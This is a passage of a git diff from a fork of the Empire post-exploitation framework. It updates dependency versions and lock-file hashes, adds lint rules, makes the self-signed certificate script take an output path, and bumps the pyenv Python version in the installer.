"sha256:074f3d86f081ce61414d2dc44901f4f83617329c6f3ab49d2bc6c96948b2c26b"}, + {file = "pydantic_core-2.14.5-cp38-cp38-musllinux_1_1_aarch64.whl", hash = "sha256:c2adbe22ab4babbca99c75c5d07aaf74f43c3195384ec07ccbd2f9e3bddaecec"}, + {file = "pydantic_core-2.14.5-cp38-cp38-musllinux_1_1_x86_64.whl", hash = "sha256:0f6116a558fd06d1b7c2902d1c4cf64a5bd49d67c3540e61eccca93f41418124"}, + {file = "pydantic_core-2.14.5-cp38-none-win32.whl", hash = "sha256:fe0a5a1025eb797752136ac8b4fa21aa891e3d74fd340f864ff982d649691867"}, + {file = "pydantic_core-2.14.5-cp38-none-win_amd64.whl", hash = "sha256:079206491c435b60778cf2b0ee5fd645e61ffd6e70c47806c9ed51fc75af078d"}, + {file = "pydantic_core-2.14.5-cp39-cp39-macosx_10_7_x86_64.whl", hash = "sha256:a6a16f4a527aae4f49c875da3cdc9508ac7eef26e7977952608610104244e1b7"}, + {file = "pydantic_core-2.14.5-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:abf058be9517dc877227ec3223f0300034bd0e9f53aebd63cf4456c8cb1e0863"}, + {file = "pydantic_core-2.14.5-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:49b08aae5013640a3bfa25a8eebbd95638ec3f4b2eaf6ed82cf0c7047133f03b"}, + {file = "pydantic_core-2.14.5-cp39-cp39-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:c2d97e906b4ff36eb464d52a3bc7d720bd6261f64bc4bcdbcd2c557c02081ed2"}, + {file = "pydantic_core-2.14.5-cp39-cp39-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:3128e0bbc8c091ec4375a1828d6118bc20404883169ac95ffa8d983b293611e6"}, + {file = "pydantic_core-2.14.5-cp39-cp39-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:88e74ab0cdd84ad0614e2750f903bb0d610cc8af2cc17f72c28163acfcf372a4"}, + {file = "pydantic_core-2.14.5-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:c339dabd8ee15f8259ee0f202679b6324926e5bc9e9a40bf981ce77c038553db"}, + {file = "pydantic_core-2.14.5-cp39-cp39-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:3387277f1bf659caf1724e1afe8ee7dbc9952a82d90f858ebb931880216ea955"}, + {file = "pydantic_core-2.14.5-cp39-cp39-musllinux_1_1_aarch64.whl", hash = "sha256:ba6b6b3846cfc10fdb4c971980a954e49d447cd215ed5a77ec8190bc93dd7bc5"}, + {file = "pydantic_core-2.14.5-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:ca61d858e4107ce5e1330a74724fe757fc7135190eb5ce5c9d0191729f033209"}, + {file = "pydantic_core-2.14.5-cp39-none-win32.whl", hash = "sha256:ec1e72d6412f7126eb7b2e3bfca42b15e6e389e1bc88ea0069d0cc1742f477c6"}, + {file = "pydantic_core-2.14.5-cp39-none-win_amd64.whl", hash = "sha256:c0b97ec434041827935044bbbe52b03d6018c2897349670ff8fe11ed24d1d4ab"}, + {file = "pydantic_core-2.14.5-pp310-pypy310_pp73-macosx_10_7_x86_64.whl", hash = "sha256:79e0a2cdbdc7af3f4aee3210b1172ab53d7ddb6a2d8c24119b5706e622b346d0"}, + {file = "pydantic_core-2.14.5-pp310-pypy310_pp73-macosx_11_0_arm64.whl", hash = "sha256:678265f7b14e138d9a541ddabbe033012a2953315739f8cfa6d754cc8063e8ca"}, + {file = "pydantic_core-2.14.5-pp310-pypy310_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:95b15e855ae44f0c6341ceb74df61b606e11f1087e87dcb7482377374aac6abe"}, + {file = "pydantic_core-2.14.5-pp310-pypy310_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:09b0e985fbaf13e6b06a56d21694d12ebca6ce5414b9211edf6f17738d82b0f8"}, + {file = "pydantic_core-2.14.5-pp310-pypy310_pp73-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:3ad873900297bb36e4b6b3f7029d88ff9829ecdc15d5cf20161775ce12306f8a"}, + {file = "pydantic_core-2.14.5-pp310-pypy310_pp73-musllinux_1_1_aarch64.whl", hash = "sha256:2d0ae0d8670164e10accbeb31d5ad45adb71292032d0fdb9079912907f0085f4"}, + {file = "pydantic_core-2.14.5-pp310-pypy310_pp73-musllinux_1_1_x86_64.whl", hash = "sha256:d37f8ec982ead9ba0a22a996129594938138a1503237b87318392a48882d50b7"}, + {file = "pydantic_core-2.14.5-pp310-pypy310_pp73-win_amd64.whl", hash = "sha256:35613015f0ba7e14c29ac6c2483a657ec740e5ac5758d993fdd5870b07a61d8b"}, + {file = "pydantic_core-2.14.5-pp37-pypy37_pp73-macosx_10_7_x86_64.whl", hash = "sha256:ab4ea451082e684198636565224bbb179575efc1658c48281b2c866bfd4ddf04"}, + {file = "pydantic_core-2.14.5-pp37-pypy37_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:4ce601907e99ea5b4adb807ded3570ea62186b17f88e271569144e8cca4409c7"}, + {file = "pydantic_core-2.14.5-pp37-pypy37_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:fb2ed8b3fe4bf4506d6dab3b93b83bbc22237e230cba03866d561c3577517d18"}, + {file = "pydantic_core-2.14.5-pp37-pypy37_pp73-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:70f947628e074bb2526ba1b151cee10e4c3b9670af4dbb4d73bc8a89445916b5"}, + {file = "pydantic_core-2.14.5-pp37-pypy37_pp73-musllinux_1_1_aarch64.whl", hash = "sha256:4bc536201426451f06f044dfbf341c09f540b4ebdb9fd8d2c6164d733de5e634"}, + {file = "pydantic_core-2.14.5-pp37-pypy37_pp73-musllinux_1_1_x86_64.whl", hash = "sha256:f4791cf0f8c3104ac668797d8c514afb3431bc3305f5638add0ba1a5a37e0d88"}, + {file = "pydantic_core-2.14.5-pp38-pypy38_pp73-macosx_10_7_x86_64.whl", hash = "sha256:038c9f763e650712b899f983076ce783175397c848da04985658e7628cbe873b"}, + {file = "pydantic_core-2.14.5-pp38-pypy38_pp73-macosx_11_0_arm64.whl", hash = "sha256:27548e16c79702f1e03f5628589c6057c9ae17c95b4c449de3c66b589ead0520"}, + {file = "pydantic_core-2.14.5-pp38-pypy38_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:c97bee68898f3f4344eb02fec316db93d9700fb1e6a5b760ffa20d71d9a46ce3"}, + {file = "pydantic_core-2.14.5-pp38-pypy38_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:b9b759b77f5337b4ea024f03abc6464c9f35d9718de01cfe6bae9f2e139c397e"}, + {file = "pydantic_core-2.14.5-pp38-pypy38_pp73-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:439c9afe34638ace43a49bf72d201e0ffc1a800295bed8420c2a9ca8d5e3dbb3"}, + {file = "pydantic_core-2.14.5-pp38-pypy38_pp73-musllinux_1_1_aarch64.whl", hash = "sha256:ba39688799094c75ea8a16a6b544eb57b5b0f3328697084f3f2790892510d144"}, + {file = "pydantic_core-2.14.5-pp38-pypy38_pp73-musllinux_1_1_x86_64.whl", hash = "sha256:ccd4d5702bb90b84df13bd491be8d900b92016c5a455b7e14630ad7449eb03f8"}, + {file = "pydantic_core-2.14.5-pp38-pypy38_pp73-win_amd64.whl", hash = "sha256:81982d78a45d1e5396819bbb4ece1fadfe5f079335dd28c4ab3427cd95389944"}, + {file = "pydantic_core-2.14.5-pp39-pypy39_pp73-macosx_10_7_x86_64.whl", hash = "sha256:7f8210297b04e53bc3da35db08b7302a6a1f4889c79173af69b72ec9754796b8"}, + {file = "pydantic_core-2.14.5-pp39-pypy39_pp73-macosx_11_0_arm64.whl", hash = "sha256:8c8a8812fe6f43a3a5b054af6ac2d7b8605c7bcab2804a8a7d68b53f3cd86e00"}, + {file = "pydantic_core-2.14.5-pp39-pypy39_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:206ed23aecd67c71daf5c02c3cd19c0501b01ef3cbf7782db9e4e051426b3d0d"}, + {file = "pydantic_core-2.14.5-pp39-pypy39_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:c2027d05c8aebe61d898d4cffd774840a9cb82ed356ba47a90d99ad768f39789"}, + {file = "pydantic_core-2.14.5-pp39-pypy39_pp73-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:40180930807ce806aa71eda5a5a5447abb6b6a3c0b4b3b1b1962651906484d68"}, + {file = "pydantic_core-2.14.5-pp39-pypy39_pp73-musllinux_1_1_aarch64.whl", hash = "sha256:615a0a4bff11c45eb3c1996ceed5bdaa2f7b432425253a7c2eed33bb86d80abc"}, + {file = "pydantic_core-2.14.5-pp39-pypy39_pp73-musllinux_1_1_x86_64.whl", hash = "sha256:f5e412d717366e0677ef767eac93566582518fe8be923361a5c204c1a62eaafe"}, + {file = "pydantic_core-2.14.5-pp39-pypy39_pp73-win_amd64.whl", hash = "sha256:513b07e99c0a267b1d954243845d8a833758a6726a3b5d8948306e3fe14675e3"}, + {file = "pydantic_core-2.14.5.tar.gz", hash = "sha256:6d30226dfc816dd0fdf120cae611dd2215117e4f9b124af8c60ab9093b6e8e71"}, ] [package.dependencies] @@ -1910,13 +1924,13 @@ hook-testing = ["execnet (>=1.5.0)", "psutil", "pytest (>=2.7.3)"] [[package]] name = "pyinstaller-hooks-contrib" -version = "2023.10" +version = "2023.11" description = "Community maintained hooks for PyInstaller" optional = false python-versions = ">=3.7" files = [ - {file = "pyinstaller-hooks-contrib-2023.10.tar.gz", hash = "sha256:4b4a998036abb713774cb26534ca06b7e6e09e4c628196017a10deb11a48747f"}, - {file = "pyinstaller_hooks_contrib-2023.10-py2.py3-none-any.whl", hash = "sha256:6dc1786a8f452941245d5bb85893e2a33632ebdcbc4c23eea41f2ee08281b0c0"}, + {file = "pyinstaller-hooks-contrib-2023.11.tar.gz", hash = "sha256:5dd7a8a054a65c19cdaa381cabcfbe76f44d5f88d18214b0c570a0cd139be77f"}, + {file = "pyinstaller_hooks_contrib-2023.11-py2.py3-none-any.whl", hash = "sha256:f2a75dac2968ec81f92dcd3768906f654fa4204bc496126ae8483e87a5d89602"}, ] [[package]] @@ -1994,7 +2008,7 @@ test = ["flake8", "isort", "pytest"] [[package]] name = "PySecretSOCKS" version = "0.9.1" -description = "A python SOCKS server for tunneling connections over another channel. Making implementing covert channels a breeze!" +description = "" optional = false python-versions = "*" files = [] @@ -2379,28 +2393,28 @@ pyasn1 = ">=0.1.3" [[package]] name = "ruff" -version = "0.1.4" +version = "0.1.9" description = "An extremely fast Python linter and code formatter, written in Rust." optional = false python-versions = ">=3.7" files = [ - {file = "ruff-0.1.4-py3-none-macosx_10_7_x86_64.whl", hash = "sha256:864958706b669cce31d629902175138ad8a069d99ca53514611521f532d91495"}, - {file = "ruff-0.1.4-py3-none-macosx_10_9_x86_64.macosx_11_0_arm64.macosx_10_9_universal2.whl", hash = "sha256:9fdd61883bb34317c788af87f4cd75dfee3a73f5ded714b77ba928e418d6e39e"}, - {file = "ruff-0.1.4-py3-none-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:b4eaca8c9cc39aa7f0f0d7b8fe24ecb51232d1bb620fc4441a61161be4a17539"}, - {file = "ruff-0.1.4-py3-none-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:a9a1301dc43cbf633fb603242bccd0aaa34834750a14a4c1817e2e5c8d60de17"}, - {file = "ruff-0.1.4-py3-none-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:78e8db8ab6f100f02e28b3d713270c857d370b8d61871d5c7d1702ae411df683"}, - {file = "ruff-0.1.4-py3-none-manylinux_2_17_ppc64.manylinux2014_ppc64.whl", hash = "sha256:80fea754eaae06335784b8ea053d6eb8e9aac75359ebddd6fee0858e87c8d510"}, - {file = "ruff-0.1.4-py3-none-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:6bc02a480d4bfffd163a723698da15d1a9aec2fced4c06f2a753f87f4ce6969c"}, - {file = "ruff-0.1.4-py3-none-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:9862811b403063765b03e716dac0fda8fdbe78b675cd947ed5873506448acea4"}, - {file = "ruff-0.1.4-py3-none-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:58826efb8b3efbb59bb306f4b19640b7e366967a31c049d49311d9eb3a4c60cb"}, - {file = "ruff-0.1.4-py3-none-musllinux_1_2_aarch64.whl", hash = "sha256:fdfd453fc91d9d86d6aaa33b1bafa69d114cf7421057868f0b79104079d3e66e"}, - {file = "ruff-0.1.4-py3-none-musllinux_1_2_armv7l.whl", hash = "sha256:e8791482d508bd0b36c76481ad3117987301b86072158bdb69d796503e1c84a8"}, - {file = "ruff-0.1.4-py3-none-musllinux_1_2_i686.whl", hash = "sha256:01206e361021426e3c1b7fba06ddcb20dbc5037d64f6841e5f2b21084dc51800"}, - {file = "ruff-0.1.4-py3-none-musllinux_1_2_x86_64.whl", hash = "sha256:645591a613a42cb7e5c2b667cbefd3877b21e0252b59272ba7212c3d35a5819f"}, - {file = "ruff-0.1.4-py3-none-win32.whl", hash = "sha256:99908ca2b3b85bffe7e1414275d004917d1e0dfc99d497ccd2ecd19ad115fd0d"}, - {file = "ruff-0.1.4-py3-none-win_amd64.whl", hash = "sha256:1dfd6bf8f6ad0a4ac99333f437e0ec168989adc5d837ecd38ddb2cc4a2e3db8a"}, - {file = "ruff-0.1.4-py3-none-win_arm64.whl", hash = "sha256:d98ae9ebf56444e18a3e3652b3383204748f73e247dea6caaf8b52d37e6b32da"}, - {file = "ruff-0.1.4.tar.gz", hash = "sha256:21520ecca4cc555162068d87c747b8f95e1e95f8ecfcbbe59e8dd00710586315"}, + {file = "ruff-0.1.9-py3-none-macosx_10_12_x86_64.macosx_11_0_arm64.macosx_10_12_universal2.whl", hash = "sha256:e6a212f436122ac73df851f0cf006e0c6612fe6f9c864ed17ebefce0eff6a5fd"}, + {file = "ruff-0.1.9-py3-none-macosx_10_12_x86_64.whl", hash = "sha256:28d920e319783d5303333630dae46ecc80b7ba294aeffedf946a02ac0b7cc3db"}, + {file = "ruff-0.1.9-py3-none-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:104aa9b5e12cb755d9dce698ab1b97726b83012487af415a4512fedd38b1459e"}, + {file = "ruff-0.1.9-py3-none-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:1e63bf5a4a91971082a4768a0aba9383c12392d0d6f1e2be2248c1f9054a20da"}, + {file = "ruff-0.1.9-py3-none-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:4d0738917c203246f3e275b37006faa3aa96c828b284ebfe3e99a8cb413c8c4b"}, + {file = "ruff-0.1.9-py3-none-manylinux_2_17_ppc64.manylinux2014_ppc64.whl", hash = "sha256:69dac82d63a50df2ab0906d97a01549f814b16bc806deeac4f064ff95c47ddf5"}, + {file = "ruff-0.1.9-py3-none-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:2aec598fb65084e41a9c5d4b95726173768a62055aafb07b4eff976bac72a592"}, + {file = "ruff-0.1.9-py3-none-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:744dfe4b35470fa3820d5fe45758aace6269c578f7ddc43d447868cfe5078bcb"}, + {file = "ruff-0.1.9-py3-none-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:479ca4250cab30f9218b2e563adc362bd6ae6343df7c7b5a7865300a5156d5a6"}, + {file = "ruff-0.1.9-py3-none-musllinux_1_2_aarch64.whl", hash = "sha256:aa8344310f1ae79af9ccd6e4b32749e93cddc078f9b5ccd0e45bd76a6d2e8bb6"}, + {file = "ruff-0.1.9-py3-none-musllinux_1_2_armv7l.whl", hash = "sha256:837c739729394df98f342319f5136f33c65286b28b6b70a87c28f59354ec939b"}, + {file = "ruff-0.1.9-py3-none-musllinux_1_2_i686.whl", hash = "sha256:e6837202c2859b9f22e43cb01992373c2dbfeae5c0c91ad691a4a2e725392464"}, + {file = "ruff-0.1.9-py3-none-musllinux_1_2_x86_64.whl", hash = "sha256:331aae2cd4a0554667ac683243b151c74bd60e78fb08c3c2a4ac05ee1e606a39"}, + {file = "ruff-0.1.9-py3-none-win32.whl", hash = "sha256:8151425a60878e66f23ad47da39265fc2fad42aed06fb0a01130e967a7a064f4"}, + {file = "ruff-0.1.9-py3-none-win_amd64.whl", hash = "sha256:c497d769164df522fdaf54c6eba93f397342fe4ca2123a2e014a5b8fc7df81c7"}, + {file = "ruff-0.1.9-py3-none-win_arm64.whl", hash = "sha256:0e17f53bcbb4fff8292dfd84cf72d767b5e146f009cccd40c2fad27641f8a7a9"}, + {file = "ruff-0.1.9.tar.gz", hash = "sha256:b041dee2734719ddbb4518f762c982f2e912e7f28b8ee4fe1dee0b15d1b6e800"}, ] [[package]] @@ -2429,17 +2443,17 @@ tests = ["coverage[toml] (>=5.0.2)", "pytest"] [[package]] name = "setuptools" -version = "68.2.2" +version = "69.0.2" description = "Easily download, build, install, upgrade, and uninstall Python packages" optional = false python-versions = ">=3.8" files = [ - {file = "setuptools-68.2.2-py3-none-any.whl", hash = "sha256:b454a35605876da60632df1a60f736524eb73cc47bbc9f3f1ef1b644de74fd2a"}, - {file = "setuptools-68.2.2.tar.gz", hash = "sha256:4ac1475276d2f1c48684874089fefcd83bd7162ddaafb81fac866ba0db282a87"}, + {file = "setuptools-69.0.2-py3-none-any.whl", hash = "sha256:1e8fdff6797d3865f37397be788a4e3cba233608e9b509382a2777d25ebde7f2"}, + {file = "setuptools-69.0.2.tar.gz", hash = "sha256:735896e78a4742605974de002ac60562d286fa8051a7e2299445e8e8fbb01aa6"}, ] [package.extras] -docs = ["furo", "jaraco.packaging (>=9.3)", "jaraco.tidelift (>=1.4)", "pygments-github-lexers (==0.0.5)", "rst.linker (>=1.9)", "sphinx (>=3.5)", "sphinx-favicon", "sphinx-hoverxref (<2)", "sphinx-inline-tabs", "sphinx-lint", "sphinx-notfound-page (>=1,<2)", "sphinx-reredirects", "sphinxcontrib-towncrier"] +docs = ["furo", "jaraco.packaging (>=9.3)", "jaraco.tidelift (>=1.4)", "pygments-github-lexers (==0.0.5)", "rst.linker (>=1.9)", "sphinx (<7.2.5)", "sphinx (>=3.5)", "sphinx-favicon", "sphinx-inline-tabs", "sphinx-lint", "sphinx-notfound-page (>=1,<2)", "sphinx-reredirects", "sphinxcontrib-towncrier"] testing = ["build[virtualenv]", "filelock (>=3.4.0)", "flake8-2020", "ini2toml[lite] (>=0.9)", "jaraco.develop (>=7.21)", "jaraco.envs (>=2.2)", "jaraco.path (>=3.2.0)", "pip (>=19.1)", "pytest (>=6)", "pytest-black (>=0.3.7)", "pytest-checkdocs (>=2.4)", "pytest-cov", "pytest-enabler (>=2.2)", "pytest-mypy (>=0.9.1)", "pytest-perf", "pytest-ruff", "pytest-timeout", "pytest-xdist", "tomli-w (>=1.0.0)", "virtualenv (>=13.0.0)", "wheel"] testing-integration = ["build[virtualenv] (>=1.0.3)", "filelock (>=3.4.0)", "jaraco.envs (>=2.2)", "jaraco.path (>=3.2.0)", "packaging (>=23.1)", "pytest", "pytest-enabler", "pytest-xdist", "tomli", "virtualenv (>=13.0.0)", "wheel"] @@ -2885,70 +2899,70 @@ files = [ [[package]] name = "typing-extensions" -version = "4.8.0" +version = "4.9.0" description = "Backported and Experimental Type Hints for Python 3.8+" optional = false python-versions = ">=3.8" files = [ - {file = "typing_extensions-4.8.0-py3-none-any.whl", hash = "sha256:8f92fc8806f9a6b641eaa5318da32b44d401efaac0f6678c9bc448ba3605faa0"}, - {file = "typing_extensions-4.8.0.tar.gz", hash = "sha256:df8e4339e9cb77357558cbdbceca33c303714cf861d1eef15e1070055ae8b7ef"}, + {file = "typing_extensions-4.9.0-py3-none-any.whl", hash = "sha256:af72aea155e91adfc61c3ae9e0e342dbc0cba726d6cba4b6c72c1f34e47291cd"}, + {file = "typing_extensions-4.9.0.tar.gz", hash = "sha256:23478f88c37f27d76ac8aee6c905017a143b0b1b886c3c9f66bc2fd94f9f5783"}, ] [[package]] name = "urllib3" -version = "2.0.7" +version = "2.1.0" description = "HTTP library with thread-safe connection pooling, file post, and more." optional = false -python-versions = ">=3.7" +python-versions = ">=3.8" files = [ - {file = "urllib3-2.0.7-py3-none-any.whl", hash = "sha256:fdb6d215c776278489906c2f8916e6e7d4f5a9b602ccbcfdf7f016fc8da0596e"}, - {file = "urllib3-2.0.7.tar.gz", hash = "sha256:c97dfde1f7bd43a71c8d2a58e369e9b2bf692d1334ea9f9cae55add7d0dd0f84"}, + {file = "urllib3-2.1.0-py3-none-any.whl", hash = "sha256:55901e917a5896a349ff771be919f8bd99aff50b79fe58fec595eb37bbc56bb3"}, + {file = "urllib3-2.1.0.tar.gz", hash = "sha256:df7aa8afb0148fa78488e7899b2c59b5f4ffcfa82e6c54ccb9dd37c1d7b52d54"}, ] [package.extras] brotli = ["brotli (>=1.0.9)", "brotlicffi (>=0.8.0)"] -secure = ["certifi", "cryptography (>=1.9)", "idna (>=2.0.0)", "pyopenssl (>=17.1.0)", "urllib3-secure-extra"] socks = ["pysocks (>=1.5.6,!=1.5.7,<2.0)"] zstd = ["zstandard (>=0.18.0)"] [[package]] name = "uvicorn" -version = "0.22.0" +version = "0.24.0.post1" description = "The lightning-fast ASGI server." optional = false -python-versions = ">=3.7" +python-versions = ">=3.8" files = [ - {file = "uvicorn-0.22.0-py3-none-any.whl", hash = "sha256:e9434d3bbf05f310e762147f769c9f21235ee118ba2d2bf1155a7196448bd996"}, - {file = "uvicorn-0.22.0.tar.gz", hash = "sha256:79277ae03db57ce7d9aa0567830bbb51d7a612f54d6e1e3e92da3ef24c2c8ed8"}, + {file = "uvicorn-0.24.0.post1-py3-none-any.whl", hash = "sha256:7c84fea70c619d4a710153482c0d230929af7bcf76c7bfa6de151f0a3a80121e"}, + {file = "uvicorn-0.24.0.post1.tar.gz", hash = "sha256:09c8e5a79dc466bdf28dead50093957db184de356fcdc48697bad3bde4c2588e"}, ] [package.dependencies] click = ">=7.0" h11 = ">=0.8" +typing-extensions = {version = ">=4.0", markers = "python_version < \"3.11\""} [package.extras] standard = ["colorama (>=0.4)", "httptools (>=0.5.0)", "python-dotenv (>=0.13)", "pyyaml (>=5.1)", "uvloop (>=0.14.0,!=0.15.0,!=0.15.1)", "watchfiles (>=0.13)", "websockets (>=10.4)"] [[package]] name = "wcwidth" -version = "0.2.9" +version = "0.2.12" description = "Measures the displayed width of unicode strings in a terminal" optional = false python-versions = "*" files = [ - {file = "wcwidth-0.2.9-py2.py3-none-any.whl", hash = "sha256:9a929bd8380f6cd9571a968a9c8f4353ca58d7cd812a4822bba831f8d685b223"}, - {file = "wcwidth-0.2.9.tar.gz", hash = "sha256:a675d1a4a2d24ef67096a04b85b02deeecd8e226f57b5e3a72dbb9ed99d27da8"}, + {file = "wcwidth-0.2.12-py2.py3-none-any.whl", hash = "sha256:f26ec43d96c8cbfed76a5075dac87680124fa84e0855195a6184da9c187f133c"}, + {file = "wcwidth-0.2.12.tar.gz", hash = "sha256:f01c104efdf57971bcb756f054dd58ddec5204dd15fa31d6503ea57947d97c02"}, ] [[package]] name = "weasyprint" -version = "60.1" +version = "60.2" description = "The Awesome Document Factory" optional = false python-versions = ">=3.7" files = [ - {file = "weasyprint-60.1-py3-none-any.whl", hash = "sha256:55227e5e44f5f34bc9cec651329bd38d063ef7d29151d4b058d4af1ca943d4a7"}, - {file = "weasyprint-60.1.tar.gz", hash = "sha256:56b9812280118357b0f63b1efe18199e08343d4a56a3393c1d475ab878cea26a"}, + {file = "weasyprint-60.2-py3-none-any.whl", hash = "sha256:3e98eedcc1c5a14cb310c293c6d59a479f59a13f0d705ff07106482827fa5705"}, + {file = "weasyprint-60.2.tar.gz", hash = "sha256:0c0cdd617a78699262b80026e67fa1692e3802cfa966395436eeaf6f787dd126"}, ] [package.dependencies] @@ -2978,13 +2992,13 @@ files = [ [[package]] name = "websocket-client" -version = "1.6.4" +version = "1.7.0" description = "WebSocket client for Python with low level API options" optional = false python-versions = ">=3.8" files = [ - {file = "websocket-client-1.6.4.tar.gz", hash = "sha256:b3324019b3c28572086c4a319f91d1dcd44e6e11cd340232978c684a7650d0df"}, - {file = "websocket_client-1.6.4-py3-none-any.whl", hash = "sha256:084072e0a7f5f347ef2ac3d8698a5e0b4ffbfcab607628cadabc650fc9a83a24"}, + {file = "websocket-client-1.7.0.tar.gz", hash = "sha256:10e511ea3a8c744631d3bd77e61eb17ed09304c413ad42cf6ddfa4c7787e8fe6"}, + {file = "websocket_client-1.7.0-py3-none-any.whl", hash = "sha256:f4c3d22fec12a2461427a29957ff07d35098ee2d976d3ba244e688b8b4057588"}, ] [package.extras] @@ -3300,4 +3314,4 @@ test = ["pytest"] [metadata] lock-version = "2.0" python-versions = ">=3.10,<3.13" -content-hash = "c26a4bee7268960ffba31bc0b06fca08a90d19cecc041f75dd4a65d8ec7595d7" +content-hash = "28b36cd4ba62ae2c16d000ad2ff32b9ee0ee143a9fce5edd76b14c1ca556107b" diff --git a/pyproject.toml b/pyproject.toml index 4d29b0c90..b5bec39d4 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -1,6 +1,6 @@ [tool.poetry] name = "empire-bc-security-fork" -version = "5.8.4" +version = "5.9.1" description = "" authors = ["BC Security "] readme = "README.md" @@ -14,28 +14,28 @@ packages = [ [tool.poetry.dependencies] python = ">=3.10,<3.13" -urllib3 = "^2.0.7" +urllib3 = "^2.1.0" requests = "^2.31.0" iptools = "^0.7.0" macholib = "^1.16.3" dropbox = "^11.36.2" -pyOpenSSL = "^23.2.0" +pyOpenSSL = "^23.3.0" zlib_wrapper = "^0.1.3" netifaces = "^0.11.0" jinja2 = "^3.1.2" xlutils = "^2.0.0" pyparsing = "^3.1.1" PyMySQL = "^1.1.0" -SQLAlchemy = "^2.0.22" +SQLAlchemy = "^2.0.23" PyYAML = "^6.0.1" SQLAlchemy-Utc = "^0.14.0" -prompt-toolkit = "^3.0.39" +prompt-toolkit = "^3.0.43" terminaltables = "^3.1.10" -humanize = "^4.8.0" +humanize = "^4.9.0" pycryptodome = "^3.19.0" -cryptography = "^41.0.4" +cryptography = "^41.0.7" fastapi = "^0.104.1" -uvicorn = "^0.22.0" +uvicorn = "^0.24.0" jq = "^1.6.0" aiofiles = "^23.2.1" python-multipart = "^0.0.6" @@ -60,10 +60,10 @@ packaging = "^23.2" [tool.poetry.group.dev.dependencies] httpx = "^0.24.1" # For starlette TestClient -black = "^23.10.0" -pytest = "^7.4.2" +black = "^23.12.0" +pytest = "^7.4.3" pytest-timeout = "^2.2.0" -ruff = "^0.1.4" +ruff = "^0.1.9" pytest-cov = "^4.1.0" [build-system] @@ -90,6 +90,9 @@ force-exclude = ''' extend-exclude = [ 'empire/server/data', 'empire/server/downloads', + # This file is a pain to untangle for some of the linting rules + # it is from a 3rd party library, and its mostly untested. + 'empire/server/common/pylnk.py', 'empire/server/common/malleable', 'empire/client/generated-stagers', 'empire/client/downloads', @@ -107,7 +110,9 @@ select = [ "I", # isort "UP", # pyupgrade "B", # flake8-bugbear - "C4" # flake8-comprehensions + "C4", # flake8-comprehensions + "RUF", # ruff + "SIM", # flake8-simplify ] target-version = "py310" diff --git a/setup/cert.sh b/setup/cert.sh index 9ecf1996b..5866e9f8b 100755 --- a/setup/cert.sh +++ b/setup/cert.sh @@ -12,9 +12,12 @@ then cd ./setup fi -openssl req -new -x509 -keyout ../empire/server/data/empire-priv.key -out ../empire/server/data/empire-chain.pem -days 365 -nodes -subj "/C=US" >/dev/null 2>&1 +default_path="../empire/server/data/" +path=${1:-$default_path} -echo -e "\x1b[1;34m[*] Certificate written to ../empire/server/data/empire-chain.pem\x1b[0m" -echo -e "\x1b[1;34m[*] Private key written to ../empire/server/data/empire-priv.key\x1b[0m" +openssl req -new -x509 -keyout "${path}/empire-priv.key" -out "${path}/empire-chain.pem" -days 365 -nodes -subj "/C=US" >/dev/null 2>&1 + +echo -e "\x1b[1;34m[*] Certificate written to ${path}/empire-chain.pem\x1b[0m" +echo -e "\x1b[1;34m[*] Private key written to ${path}/empire-priv.key\x1b[0m" cd .. diff --git a/setup/install.sh b/setup/install.sh index 1f778f826..c4b1e8fbc 100755 --- a/setup/install.sh +++ b/setup/install.sh @@ -305,7 +305,7 @@ if ! command_exists pyenv; then libncurses5-dev libreadline6-dev libsqlite3-dev libssl-dev \ lzma lzma-dev tk-dev uuid-dev zlib1g-dev - pyenv install 3.12.0 + pyenv install 3.12.1 fi if ! command_exists poetry; then